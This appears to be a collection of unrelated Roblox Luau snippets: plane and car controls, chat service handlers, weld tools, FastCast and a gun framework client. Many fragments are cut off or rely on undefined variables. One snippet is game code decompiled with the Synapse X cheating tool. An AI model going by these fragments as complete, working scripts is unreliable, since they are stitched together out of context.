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-- options -------------------------
|
setupmode = "Auto" -- Manual or Auto (if you want to pick what plugins you have yourself or you want it to be automated)
soundplugin = "StockSound" -- StockSound, SoundSuite or 1.5 Sound (no others are supported, sorry!) (MANUAL ONLY)
camkey = "v" -- the key you use for first person camera
level = 50 -- 0% - 100%
exceptions = {"Pedal","Shift"} -- put names of audios to ignore here (AUTO ONLY)
|
--[[
Server Module
--]]
|
local Settings = { --, not ; ? | server module!!
BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961'
,Damage = {60, 100}
,OneHanded = false --DONT USE YET
,FakeArms = true
,FakeArmTransparency = 0
,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0)
,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
}
return Settings
|
---Below: Only change at spaces where i say u have to xd
--but i made all functions Userfriendly for people like u alex xD
|
function fireB(Type,AmmoSource)
wmissile = bin:findFirstChild("Bullet")
missile = wmissile:clone()
missile.CFrame = AmmoSource.CFrame
if(smoke_at_gun == false) then missile.Smoke.Enabled = false end
missile.WeaponScript.Disabled = false
WM = Instance.new("Model")
WM.Name = "Bullet"
WM.Parent = game.Players.LocalPlayer.Character
missile.Parent = WM
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = game.Players.LocalPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Owner.Value = vehicle
end
function fire(pln,spn)
local missile = bin.Rocket:clone()
missile.CFrame = spn.CFrame * CFrame.new(0, 0, -35)
missile.Mesh.Scale = Vector3.new(0.3, 0.3, 0.4)-- Resizer in case :3
missile.RocketScript.Disabled = false
missile.Parent = game.Workspace
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = game.Players.LocalPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
--Rocket ID
--missile.Rocket_ID.Value = pln.Parts.Values.Pln_ID.Value
--Da rest...
missile.Owner.Value = pln
end
function move(point, engine)--Move Settings. this makes sure that the plane moves correctly. [NOT TO CHANGE!]
local origincframe = engine:findFirstChild("BodyGyro").cframe
size = engine.Size
target = engine.Position+((point - engine.Position).unit*100)
local dir = (target - engine.Position).unit
local spawnPos = engine.Position
left = engine.CFrame*CFrame.new(-size.x/1, 0, 0).p
right = engine.CFrame*CFrame.new(size.x/1, 0, 0).p
md = (target - engine.Position).magnitude
foebmd = engine.CFrame*CFrame.new(0, 0, -md).p
toleft = (target -left).magnitude
toright = (target -right).magnitude
rot = 0.5 --((foebmd - target).magnitude/(5*10))
local pos = spawnPos + (dir * 1)
engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9000, 9000, 9000)
if toleft< toright and toleft >rot and taxiing == false then
engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0, rot) , math.pi/ 40 )
elseif toleft > toright and toright >rot and taxiing == false then
engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0,-rot) , math.pi/ 40 )
else
engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
end
wait(0.1)
engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(0, 0, 0)
engine:findFirstChild("BodyGyro").cframe = origincframe
end
function computeDirection(vec)--finds the Direction of the place [NOT TO CHANGE!]
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
function findPlane(player)--needed to find the plane. [NOT TO CHANGE!]
local list = player.Character:GetChildren()
for x = 1, #list do
if (list[x].Name == "Plane") then
local weld = list[x]:FindFirstChild("Parts"):FindFirstChild("Seat"):FindFirstChild("SeatWeld")
if (weld ~= nil) and (weld.Part1.Name == "HumanoidRootPart") then
print(list[x])
return list[x]
end
end
end
return nil
end
function onFollow(mouse) --A function to Follow the mouse [NOT TO CHANGE!]
if(Mousefollow == false) and (on == true) then
wait()
Mousefollow = true
elseif(Mousefollow == true)then
wait()
Mousefollow = false
elseif(on == false) then
Mousefollow = false
end
end
function onButton1Down(mouse)--this is... i forgot but dont change lol xD [NOT TO CHANGE!]
if(Mousefollow == false) then
return
elseif(on == false) and (Mousefollow == true) then
Mousefollow = false
elseif(Mousefollow == true) and (on == false) then
Mousefollow = false
elseif(Mousefollow == true) and (on == true) then
local vehicle = findPlane(game:GetService("Players").LocalPlayer)
if vehicle ~= nil and debounce == false and planedebounce == false then
debounce = true
controlling = true
while Mousefollow == true do---If a error at mouse then here!!
wait()
local engine = vehicle.Parts.Engine
local position = mouse.Hit
local target = position.p
if engine ~= nil then
move(target, engine)
end
if planedebounce == true or
controlling == false then break end
end
wait(.1)
debounce = false
end
end
end
function onButton1Up(mouse)--The mouse function yeh a mouse function lol [NOT TO CHANGE!]
controlling = false
end
function setup(p)
local pln = p
local PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild("PlaneStats").Frame
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {
value = 250
};
local v3 = Instance.new("BindableEvent");
v3.Name = script.Name;
v3.Parent = script;
v2.event = v3;
if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("InGame").Value == true then
game.Players.LocalPlayer:WaitForChild("Gold").Changed:connect(function(p1)
v2.value = p1;
v3:Fire(p1);
end);
end;
return v2;
|
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--rishoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="8" then
look=50
elseif key=="9" then
if intcam then
look=160
else
look=180
end
elseif key=="0" then
look=-50
elseif key=="v" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="8" and look==5 then
look=0
elseif key=="9" and (look==1 or look==1) then
look=0
elseif key=="0" and look==-50 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
-- Map storing Player -> Blocked user Ids.
|
local BlockedUserIdsMap = {}
PlayersService.PlayerAdded:connect(function(newPlayer)
for player, blockedUsers in pairs(BlockedUserIdsMap) do
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUsers do
local blockedUserId = blockedUsers[i]
if blockedUserId == newPlayer.UserId then
speaker:AddMutedSpeaker(newPlayer.Name)
end
end
end
end
end)
PlayersService.PlayerRemoving:connect(function(removingPlayer)
BlockedUserIdsMap[removingPlayer] = nil
end)
EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
if type(blockedUserIdsList) ~= "table" then
return
end
local prunedBlockedUserIdsList = {}
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do
if type(blockedUserIdsList[i]) == "number" then
table.insert(prunedBlockedUserIdsList, blockedUserIdsList[i])
local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
if blockedPlayer then
speaker:AddMutedSpeaker(blockedPlayer.Name)
end
end
end
-- We only want to store the first
-- MAX_BLOCKED_SPEAKERS_PER_REQ number of ids as needed
BlockedUserIdsMap[player] = prunedBlockedUserIdsList
end
end)
EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)
local speaker = ChatService:GetSpeaker(playerObj.Name)
if not (speaker and speaker:GetPlayer()) then
CreatePlayerSpeakerObject(playerObj)
speaker = ChatService:GetSpeaker(playerObj.Name)
end
local data = {}
data.Channels = {}
data.SpeakerExtraData = {}
for _, channelName in pairs(speaker:GetChannelList()) do
local channelObj = ChatService:GetChannel(channelName)
if (channelObj) then
local channelData =
{
channelName,
channelObj:GetWelcomeMessageForSpeaker(speaker),
channelObj:GetHistoryLogForSpeaker(speaker),
channelObj.ChannelNameColor,
}
table.insert(data.Channels, channelData)
end
end
for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do
local oSpeaker = ChatService:GetSpeaker(oSpeakerName)
data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData
end
return data
end)
local function DoJoinCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (channel) then
if (channel.Joinable) then
if (not speaker:IsInChannel(channel.Name)) then
speaker:JoinChannel(channel.Name)
else
speaker:SetMainChannel(channel.Name)
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_SwitchChannel_NowInChannel",
string.format("You are now chatting in channel: '%s'", channel.Name),
"RBX_NAME",
channel.Name)
speaker:SendSystemMessage(msg, channel.Name)
end
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_YouCannotJoinChannel",
"You cannot join channel '" .. channelName .. "'.",
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_ChannelDoesNotExist",
"Channel '" .. channelName .. "' does not exist.",
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
end
end
local function DoLeaveCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (speaker:IsInChannel(channelName)) then
if (channel.Leavable) then
speaker:LeaveChannel(channel.Name)
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatService_YouHaveLeftChannel",
string.format("You have left channel '%s'", channelName),
"RBX_NAME",
channel.Name)
speaker:SendSystemMessage(msg, "System")
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_YouCannotLeaveChannel",
("You cannot leave channel '" .. channelName .. "'."),
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_YouAreNotInChannel",
("You are not in channel '" .. channelName .. "'."),
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
end
end
ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel)
if (string.sub(message, 1, 6):lower() == "/join ") then
DoJoinCommand(fromSpeaker, string.sub(message, 7), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/j ") then
DoJoinCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 7):lower() == "/leave ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/l ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)
return true
end
return false
end)
if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then
local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName)
allChannel.Leavable = false
allChannel.AutoJoin = true
allChannel:RegisterGetWelcomeMessageFunction(function(speaker)
if RunService:IsStudio() then
return nil
end
local player = speaker:GetPlayer()
if player then
local success, canChat = pcall(function()
return Chat:CanUserChatAsync(player.UserId)
end)
if success and not canChat then
return ""
end
end
end)
end
local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications."
)
systemChannel.SpeakerJoined:connect(function(speakerName)
systemChannel:MuteSpeaker(speakerName)
end)
local function TryRunModule(module)
if module:IsA("ModuleScript") then
local ret = require(module)
if (type(ret) == "function") then
ret(ChatService)
end
end
end
local modules = Chat:WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
local success, returnval = pcall(TryRunModule, child)
if not success and returnval then
print("Error running module " ..child.Name.. ": " ..returnval)
end
end)
for _, module in pairs(modules:GetChildren()) do
local success, returnval = pcall(TryRunModule, module)
if not success and returnval then
print("Error running module " ..module.Name.. ": " ..returnval)
end
end
PlayersService.PlayerRemoving:connect(function(playerObj)
if (ChatService:GetSpeaker(playerObj.Name)) then
ChatService:RemoveSpeaker(playerObj.Name)
end
end)
|
-- MasterWeld by Zephyred
-- Works for all types of parts, unions etc.
|
function WeldPair(x, y)
local weld = Instance.new("Weld",x)
weld.Part0 = x
weld.Part1 = y
weld.C1 = y.CFrame:toObjectSpace(x.CFrame);
end
function WeldAll(model, main) -- model can be anything
if model:IsA("BasePart") then WeldPair(main, model) end
for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end
end
function UnanchorAll(model) -- model can be anything
if (model:IsA("BasePart")) then model.Anchored = false end
for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end
end
WeldAll(script.Parent, script.Parent.Part)
UnanchorAll(script.Parent)
script:Destroy() -- Done, clean script up.
|
-- References to reduce indexing time
|
local GetConnectedParts = Instance.new('Part').GetConnectedParts;
local GetChildren = script.GetChildren;
function GetPartWelds(Part)
-- Returns any BT-created welds involving `Part`
local Welds = {};
-- Get welds stored inside `Part`
for Weld in pairs(SearchWelds(Part, Part)) do
Welds[Weld] = true;
end;
-- Get welds stored inside connected parts
for _, ConnectedPart in pairs(GetConnectedParts(Part)) do
for Weld in pairs(SearchWelds(ConnectedPart, Part)) do
Welds[Weld] = true;
end;
end;
-- Return all found welds
return Welds;
end;
function SearchWelds(Haystack, Part)
-- Searches for and returns BT-created welds in `Haystack` involving `Part`
local Welds = {};
-- Search the haystack for welds involving `Part`
for _, Item in pairs(GetChildren(Haystack)) do
-- Check if this item is a BT-created weld involving the part
if Item.Name == 'BTWeld' and Item.ClassName == 'Weld' and
(Item.Part0 == Part or Item.Part1 == Part) then
-- Store weld if valid
Welds[Item] = true;
end;
end;
-- Return the found welds
return Welds;
end;
function CreateWelds()
-- Creates welds for every selected part to the focused part
-- Determine welding target
local WeldTarget = (Selection.Focus:IsA 'BasePart' and Selection.Focus) or
(Selection.Focus:IsA 'Model' and Selection.Focus.PrimaryPart) or
Selection.Focus:FindFirstChildWhichIsA('BasePart', true)
-- Send the change request to the server API
local Welds = Core.SyncAPI:Invoke('CreateWelds', Selection.Parts, WeldTarget)
-- Update the UI with the number of welds created
UI.Changes.Text.Text = ('created %s weld%s'):format(#Welds, #Welds == 1 and '' or 's');
-- Put together the history record
local HistoryRecord = {
Welds = Welds;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Remove the welds
Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds);
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Restore the welds
Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds);
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function BreakWelds()
-- Search for any selection-connecting, BT-created welds and remove them
local Welds = {};
-- Find welds in selected parts
for _, Part in pairs(Selection.Parts) do
for Weld in pairs(GetPartWelds(Part)) do
Welds[Weld] = true;
end;
end;
-- Turn weld index into list
Welds = Support.Keys(Welds);
-- Send the change request to the server API
local WeldsRemoved = Core.SyncAPI:Invoke('RemoveWelds', Welds);
-- Update the UI with the number of welds removed
UI.Changes.Text.Text = ('removed %s weld%s'):format(WeldsRemoved, WeldsRemoved == 1 and '' or 's');
-- Put together the history record
local HistoryRecord = {
Welds = Welds;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Restore the welds
Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds);
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Remove the welds
Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds);
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function EnableFocusHighlighting()
-- Enables automatic highlighting of the focused part in the selection
-- Only enable focus highlighting in tool mode
if Core.Mode ~= 'Tool' then
return;
end;
-- Reset all outline colors
Core.Selection.RecolorOutlines(Core.Selection.Color);
-- Recolor current focused item
if Selection.Focus and (#Selection.Parts > 1) then
Core.Selection.RecolorOutline(Selection.Focus, BrickColor.new('Deep orange'))
end;
-- Recolor future focused items
Connections.FocusHighlighting = Selection.FocusChanged:Connect(function (FocusedItem)
-- Reset all outline colors
Core.Selection.RecolorOutlines(Core.Selection.Color);
-- Recolor newly focused item
if FocusedItem and (#Selection.Parts > 1) then
Core.Selection.RecolorOutline(FocusedItem, BrickColor.new('Deep orange'))
end;
end);
end;
|
-- When key released
|
function onKeyUp(key)
if key == nil then return end
key = key:lower()
-- Stop firing MG
if key == 'f' then
firingMg = false;
end
end
script.Parent.Selected:connect(onSelected)
script.Parent.Deselected:connect(onDeselected)
|
--//Setup//--
|
local Button = script.Parent
local MainButton = Button.MainButton
local ClickDetector = MainButton.ClickDetector
|
-- Public Virtual
-- This function is called when the state is entered
|
function BaseState:Enter()
end
|
------------------------------
|
script.Parent.CanCollide = false
script.Parent.Anchored = false
for i,v in pairs(script.Parent:GetChildren()) do
if v.ClassName == "Part" or v.ClassName == "WedgePart" or v.ClassName == "TrussPart" or v.ClassName == "CornerWedgePart" or v.ClassName == "MeshPart" then
v.Anchored = false
v.CanCollide = false
end
end
while true do
wait()
if not sw then
fl = fl + floatInc
if fl >= maxFloat then
sw = true
end
else
fl = fl - floatInc
if fl <=-maxFloat then
sw = false
end
end
if pet ~= nil and hum ~= nil and head ~= nil then
if hum.Health >= 0 then
local cf = head.CFrame * CFrame.new(3,-2.5+fl,3)
pet.BodyPosition.Position = Vector3.new(cf.x,cf.y,cf.z)
pet.BodyGyro.CFrame = head.CFrame * CFrame.new(3,0,-3)
else
break
end
end
end
|
-- tween engine sound volume when we start driving
|
local engineStartTween = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0)
local Remotes = Vehicle:WaitForChild("Remotes")
local SetThrottleRemote = Remotes:WaitForChild("SetThrottle")
local SetThrottleConnection = nil
local EngineSoundEnabled = true
local TireTrailEnabled = false
local ignitionTime = 1.75 -- seconds
local lastAvgAngularVelocity = 0
local throttleEnabled = false
local lastThrottleUpdate = 0
local enginePower = 0 -- current rpm of the engine
local gainModifier = 1 -- modifier to engine rpm gain (lower if approaching max speed)
|
--//Controller//--
|
ClickDetector.MouseClick:Connect(function()
if not Settings.Clicked then
Settings.Clicked = true
MainButton.Color = Color3.fromRGB(0, 255, 0)
if CurrentLayer.Value == 0 then
CurrentLayer.Value = 1
for _, Object in pairs(FirstLayer:GetChildren()) do
if Object:IsA("BasePart") then
Object.Transparency = 0
Object.CanCollide = true
end
end
elseif CurrentLayer.Value == 1 then
CurrentLayer.Value = 2
for _, Object in pairs(SecondLayer:GetChildren()) do
if Object:IsA("BasePart") then
Object.Transparency = 0
Object.CanCollide = true
end
end
elseif CurrentLayer.Value == 2 then
CurrentLayer.Value = 3
for _, Object in pairs(ThirdLayer:GetChildren()) do
if Object:IsA("BasePart") then
Object.Transparency = 0
Object.CanCollide = true
end
end
end
end
end)
|
--[=[
Inverts the result of a promise, turning a resolved promise
into a rejected one, and a rejected one into a resolved one.
@param promise Promise<T>
@return Promise<T>
]=]
|
function PromiseUtils.invert(promise)
if promise:IsPending() then
return promise:Then(function(...)
return Promise.rejected(...)
end, function(...)
return Promise.resolved(...)
end)
else
local results = {promise:GetResults()}
if results[1] then
return Promise.rejected(unpack(results, 2))
else
return Promise.resolved(unpack(results, 2))
end
end
end
|
-- events
|
Players.PlayerRemoving:connect(function(player)
if pings[player] then
pings[player] = nil
end
end)
script.Projectile.Event:connect(Projectile)
|
-- Constructor.
|
function FastCast.new()
return setmetatable({
LengthChanged = Signal.new("LengthChanged"),
RayFinalHit = Signal.new("RayFinalHit"),
RayHit = Signal.new("RayHit"),
RayPenetrated = Signal.new("RayPenetrated"),
CastTerminating = Signal.new("CastTerminating"),
WorldRoot = workspace
}, FastCast)
end
|
-- functions
|
local function Raycast(position, direction, ignore)
local ray = Ray.new(position, direction)
local success = false
local h, p, n, humanoid
table.insert(ignore, Workspace.Effects)
table.insert(ignore, Workspace.Drops)
repeat
h, p, n = Workspace:FindPartOnRayWithIgnoreList(ray, ignore)
if h then
local humanoid = h.Parent:FindFirstChildOfClass("Humanoid")
if humanoid then
table.insert(ignore, humanoid.Parent)
success = false
elseif h.CanCollide and h.Transparency < 1 then
success = true
else
table.insert(ignore, h)
success = false
end
else
success = true
end
until success
return h, p, n
end
|
----------------------------------------------------------------------------------------------
--------------------------------[PROGRAMA]----------------------------------------------------
----------------------------------------------------------------------------------------------
|
HeadBase = Instance.new('Part')
HeadBase.Name = 'BasePart'
HeadBase.Parent = Camera
HeadBase.Anchored = true
HeadBase.CanCollide = false
HeadBase.Transparency = 1
HeadBase.Size = Vector3.new(0.1, 0.1, 0.1)
HeadBaseAtt = Instance.new('Attachment')
HeadBaseAtt.Parent = HeadBase
local StatusUI = PastaHUD:WaitForChild("StatusUI")
local StatusClone = StatusUI:Clone()
StatusClone.Parent = Jogador.PlayerGui
if ServerConfig.EnableHunger then
StatusClone.FomeSede.Disabled = false
end
if ServerConfig.EnableGPS then
local StatusUI = PastaHUD:WaitForChild("GPShud")
local StatusClone = StatusUI:Clone()
StatusClone.Parent = Jogador.PlayerGui
StatusClone.GPS.Disabled = false
end
function ResetWorkspace()
Ignore_Model:ClearAllChildren()
BulletModel:ClearAllChildren()
workspace.Terrain:ClearAllChildren()
end
ResetWorkspace()
Evt.Hit.OnClientEvent:Connect(function(Player,Position, HitPart, Normal, Material,Settings)
if Player ~= Jogador then
Hitmarker.HitEffect(Ray_Ignore,ACS_Storage,Position, HitPart, Normal, Material,Settings)
end
end)
Evt.HeadRot.OnClientEvent:Connect(function(Player, Rotacao, Offset, Equipado)
if Player ~= Jogador and Player.Character and Player.Character:FindFirstChild("HumanoidRootPart") ~= nil then
local HRPCF = Player.Character["HumanoidRootPart"].CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(Offset)
Player.Character.Torso:WaitForChild("Neck").C0 = Player.Character.Torso.CFrame:toObjectSpace(HRPCF)
Player.Character.Torso:WaitForChild("Neck").C1 = CFrame.Angles(Rotacao, 0, 0)
end
end)
Evt.Atirar.OnClientEvent:Connect(function(Player,FireRate,Anims,Arma)
if Player ~= Jogador then
if Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil and Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle") ~= nil then
local Muzzle = Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle")
if Player.Character['S' .. Arma.Name]:FindFirstChild("Silenciador") ~= nil and Player.Character['S' .. Arma.Name].Silenciador.Transparency == 0 then
Muzzle:FindFirstChild("FlashFX").Brightness = 0
Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 0
else
Muzzle:FindFirstChild("FlashFX").Brightness = 5
Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 1000
end
for _, v in pairs(Muzzle:GetChildren()) do
if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then
v.Enabled = true
end
end
delay(1 / 30, function()
for _, v in pairs(Muzzle:GetChildren()) do
if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then
v.Enabled = false
end
end
end)
end
if Player.Character:FindFirstChild("AnimBase") ~= nil and Player.Character.AnimBase:FindFirstChild("AnimBaseW") then
local AnimBase = Player.Character:WaitForChild("AnimBase"):WaitForChild("AnimBaseW")
TS:Create(AnimBase, TweenInfo.new(FireRate), {C1 = Anims.ShootPos} ):Play()
wait(FireRate*2)
TS:Create(AnimBase, TweenInfo.new(.2), {C1 = CFrame.new()} ):Play()
end
end
end)
function Setup(Tools)
local Torso = Character:FindFirstChild('Torso')
local Head = Character:FindFirstChild('Head')
local HumanoidRootPart = Character:FindFirstChild('HumanoidRootPart')
ArmaClient = Tools
ArmaClone = GunModelClient:WaitForChild(ArmaClient.Name):Clone()
Var = Tools.ACS_Modulo.Variaveis
Settings = require(Var:WaitForChild("Settings"))
Anims = require(Var:WaitForChild("Animations"))
VRecoil = math.random(Settings.VRecoil[1],Settings.VRecoil[2])/1000
HRecoil = math.random(Settings.HRecoil[1],Settings.HRecoil[2])/1000
VPunchBase = (Settings.VPunchBase)
HPunchBase = (Settings.HPunchBase)
DPunchBase = (Settings.DPunchBase)
RecoilPower = Settings.MinRecoilPower
BSpread = Settings.MinSpread
Silencer = Var.Suppressor
Ammo, StoredAmmo, GLAmmo = Var.Ammo, Var.StoredAmmo, Var.LauncherAmmo
Chambered,Emperrado,GLChambered = Var.Chambered, Var.Emperrado, Var.GLChambered
FireRate = 1/(Settings.FireRate/60)
